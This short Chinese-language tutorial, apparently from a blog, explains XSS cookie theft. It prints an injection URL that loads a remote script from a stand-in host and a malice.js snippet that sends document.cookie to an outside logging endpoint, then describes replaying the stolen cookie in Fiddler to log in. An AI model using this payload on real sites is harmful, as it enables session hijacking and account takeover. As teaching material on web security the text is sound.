完成具體功能的惡意指令碼(javaScript、Flash 等)稱為 XSS Payload。黑客會通過這些指令碼,來控制使用者的瀏覽器。劫持 Cookie 就是一種 XSS Payload。
Cookie 中,一般加密存放著當前使用者的登陸憑證。如果 Cookie 被劫持,那麼黑客就可以不使用密碼,直接登陸到使用者的賬號中。
1 竊取 Cookie
首先先在存在 XSS 漏洞的網站,載入一段遠端指令碼,形如:
http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>
複製程式碼
XSS Payload 寫在 malice.js 中,這樣就可以避免直接在 URL 引數中寫入大量的指令碼程式碼。
malice.js 內容:
var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
複製程式碼
escape() 函式可對字串進行編碼,這樣就可以在所有的計算機上讀取該字串。
在此,我們動態建立了一個圖片標籤,並把 cookie 引數作為物件,傳送給後端伺服器。
這樣就完成了竊取 Cookie 的整個過程。
2 利用 Cookie 登陸賬戶
一個網站,如果還未登入,一般在右上角有個 “登入” 連結:
假設已經得到了某個賬戶的 Cookie 資訊,那麼就可以在 Fiddler 中,模擬 Get 請求:
然後就可以成功登陸網站咯: